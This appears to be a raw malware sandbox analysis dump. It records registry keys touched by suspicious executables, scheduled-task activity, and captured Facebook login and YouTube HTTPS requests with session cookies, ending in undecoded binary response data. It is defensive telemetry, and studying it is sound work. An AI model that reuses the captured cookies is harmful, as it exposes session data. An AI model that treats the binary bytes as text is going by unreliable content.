HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Thu 19 Oct 2023 05:43:32 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 886 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32.......71:T131e,"2TJ5569.exe" touched "NetworkListManager" (Path: "HKCU\CLSID\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}") "2TJ5569.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}") "2TJ5569.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}") "4HZ158BT.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "4HZ158BT.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}") "4HZ158BT.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}") "4HZ158BT.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "4HZ158BT.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "5gC9bz2.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "5gC9bz2.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "5gC9bz2.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "5gC9bz2.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "5gC9bz2.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "5gC9bz2.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "5gC9bz2.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explothe.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "explothe.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "explothe.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "explothe.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "explothe.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "explothe.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "explothe.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "explothe.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "explothe.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "explothe.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "explothe.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "explothe.exe" touched "Windows Search Service Media Center Namespace Extension Handler" (Path: "HKCU\CLSID\{98D99750-0B8A-4C59-9151-589053683D73}\SHELLFOLDER") "explothe.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "explothe.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "explothe.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "explothe.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "explothe.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "explothe.exe" touched "Sticky Notes Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{F3F5824C-AD58-4728-AF59-A1EBE3392799}\SHELLFOLDER") "explothe.exe" touched "WinInetBroker Class" (Path: "HKCU\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}") "cmd.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS")72:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")73:T2c6e,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=100 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0xvz0efXUbtiB2jzU..BlMMVr.Rh.AAA.0.0.BlMMVr.AWUkRtbqp0I; sb=a8UwZba5S9HY558EVZ-KfYrD; _js_datr=a8UwZTNV1EHa1j0Rhh3uG3M0jazoest=2887&lsd=AVr2KvCeDJE&display=&isprivate=&return_session=&skip_api_login=&signed_next=&trynum=1&timezone=&lgndim=eyJ3IjoxMjgwLCJoIjo4MDAsImF3IjoxMjgwLCJhaCI6NzYwLCJjIjoyNH0%3D&lgnrnd=225804_6DH4&lgnjs=n&email=&pass=&login=1&prefill_contact_point=&prefill_source=&prefill_type=&first_prefill_source=&first_prefill_type=&had_cp_prefilled=false&had_password_prefilled=false&ab_test_data="; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=100Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 392DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0xvz0efXUbtiB2jzU..BlMMVr.Rh.AAA.0.0.BlMMWH.AWXm1c3S3-Q; sb=a8UwZba5S9HY558EVZ-KfYrD; datr=a8UwZTNV1EHa1j0Rhh3uG3M0"; in File: "SSL") Found requests in header "POST /login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=120&lwc=1348028Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0xvz0efXUbtiB2jzU..BlMMVr.Rh.AAA.0.0.BlMMWl.AWXmBjEsljw; sb=a8UwZba5S9HY558EVZ-KfYrD; datr=a8UwZTNV1EHa1j0Rhh3uG3M0"; in File: "SSL") Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/opera.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/chrome.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/dinosaur.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/yt_logo_rgb_light.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/firefox.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/edgium.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=pvo4EiGFgPg; VISITOR_INFO1_LIVE=U6lnB2xZnwM; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yw/l/0,cross/M81Pw8pBYSJ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y6/l/0,cross/xx_kouuGNk2.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yr/l/0,cross/zihuVctRJY1.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yd/r/wyGjpP54TBv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/OOjRP9ZKS4_.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yz/l/0,cross/zRK3Ix_kur3.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yc/l/0,cross/1FPNULrhhBJ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: connect.facebook.netConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")74:Tce3b,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: sb=a8UwZba5S9HY558EVZ-KfYrD; expires=Fri, 22-Nov-2024 05:58:03 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponlySet-Cookie: fr=0xvz0efXUbtiB2jzU..BlMMVr.Rh.AAA.0.0.BlMMVr.AWUkRtbqp0I; expires=Wed, 17-Jan-2024 05:58:03 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponlyreport-to: {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdnins" "tagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), geolocation=(self), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(self), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: LREsS4/BXIrWhq7OHH5cHB3cBZ05ZNyWHseO05XfeYRHmIXtw/p+vb2WVccbmHPmrHpfUMZCFtBsxFCNxezMTA==Date: Thu, 19 Oct 2023 05:58:04 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-aliv" "e1361��Yo+K� �޿�]�_��|��o�W炻(Q$�E��D�*�L�6eUq��e�n��l��`p��a�6�?�Y��KDddddddd��Y�V��zl��4lL�$bH1��I*��4�RLְm�I��f��V>��)f6q�$�Q��R,�X'g#*a�0)&��C�LR��]�(�(%>�lˌZN�0��Is�ū,+H�Uאj1b,�kO?ᣯA��j�O�br�1|4�U�r��,��F�\�H?��M��T7җ��]7g��?��K|�;:z��*�62�v�2\[ĖNU��$.Q;��'�ɜ��x�W�r�91�S�|GG�c��P�_Og�х,�%FtsAД`�v��9r�ҨN�4��KՉ�Q�T\U%l@��t�K&�qɞ�KD�fR�l*�eS��ʰ��:�{��U��Z$+#��k��s��O?'D�ޗ��~��C�~�K��E�v��e�O�*_�V��mvZ�.*wj��r�}�:�z��+��Y�">��q��=(��Ӟ��Wg��e� �X�1�}:zy�G/G��)�7��5��<�u� T�� t��2L�ZSǱ�Ap|�1bO#�+�Sl�o�%4sB�_�:F~��a�-pb�b�Ҩ��ǐ��h%�45�Z�z7ԦN̯s�؜+�Z�%u�1�Qb(��f�˴�ķk��_Rř��ҙ�OSB'S笐L~��m�z>^�C��O�±��Y�{~f�?Q�O�:�;v[V� K��ۑ]�`;�16W�©{5o}Ag+��@+J�҆��*�FO|�R��v/!�4��P�d�:Qǲb��I0��'��J,2��`�\ǜt2lr�l�X��0��)�2�\�$&G��#ڙ�c��f«r�ը��\J�)#ꙔP��~��i�&�j��s 3�áXɡ�F8@O��ms��cc��/��@M#B�NU�|P��)fԘİ�@y��|�6]��xL�:��q^�"��(��$��L�0g}&��S�:�CU6��7dNdSz��)c-��h4��7�Ae��mT�%��)ޮ�MQ\�,1m�/R�&Z'/��0��E�$��lے��{J��&L �˄�Hƹ�%��޲hU�'�m��Z�̭U�&��g)Bz<6MG3�B��3�|9-Y�Y�ېY��M?K�~5W|�=W�W��!�w2��Y�Wz�d��ȤL�O/Z�!�,B�3��7�ӿ�O��L�*��c��7$�F�\�N]�G�Rs�62kr��7"�9��e��Bs�e�F�E3y�_g~C2�2W+47]�ٙ��Ffo��ߐL9Bf��l:��Q!%+�T��W��6��@��`��9�z�찲8��{An��]�?�", "��v�l.Sϱ퐁k�B)җx�Dя��'Sl(��U�5�8�*��b*��L:M�%[:M�ĥl��ILS�b.(�S��b*�$�2�^��d��b�� ĥB��(�J��R�`�d!�K&K��ä��L&{Z1W�S�.��HȚ��P��r�r��f��N�do�&ťa�.��ܣ��`E�~::%@!*5�t��Ȗ��K��FʩԳqv�2��47U&�F�K<�M}��*]��҉WyN5�(�"�l�H��JW��Q5��[T��z�_��A�ܯ�Kq�ۿ��:��v��wCT�i��j��n��4��TZ��`�Z��ְ.�޶��ݮ�Q��m��h�f�܃�!�@�^��V�S��Ѡ��N��{��TFo�R4�\��F�!��v��?��\)�^��W�QV�Q��5T�^��zg�ʍa��ʵ��a�ۑ�t[�ZW�Π��P�߽BЯ�>juШ��k�ւ6�4wZ7��z�r��7y�yhո'�S��<�t��tU�[��{�z��;�J��j��鎀�r��ߔۭ�_cP��a]��r�R�^��Mkx�z�f��ԇ�E#p1��P��V/�Ct��CΑ}�z��3B��F��_��r�]��6�Q��z�iUa��^��:v�m��W��^�D�nF�5��k#>B��^��z�*�l�vS�[�z]��%w�ng��j=�V�ҽC�n�zh��N��D�Q5ZwR\�w��:�^��ݛV-UB�r�á{e4��~o[��#X��M�)�ru��iARn��Yn��//qinn(�L�n/��yg�Hq��)ˤ�.]<�R\*4��g��]��Y&?�y^�2K��2��@�2��)]L��f��}�cͤ��2��"9;σ+��K�\b�ʠu�n�o�r�R\J+ӧ��t�l_��v��ƭJq��lu��Vd�E��Uʗ��<�6uu��R\��椕*H,��t�T,NJ��Ϫ��ϩi��h,��^�TYZ�K�Z��f}e��vU]Ӕ]��ky_.�F�b�Zf|�1��/��:?^Oȝ}w�~:_�җ��x:WL�T�2(��9��j61oZP��/2".p��(y�k*��s��=5]MLͥȩ`��/�l&]��[pSo�M�$"��,̰.�J��r�>m�峳�r�;w��E�Q��U�p��o&��˵��ak]��s��4s�Qp�{^q[:��K<��r��f>�*� 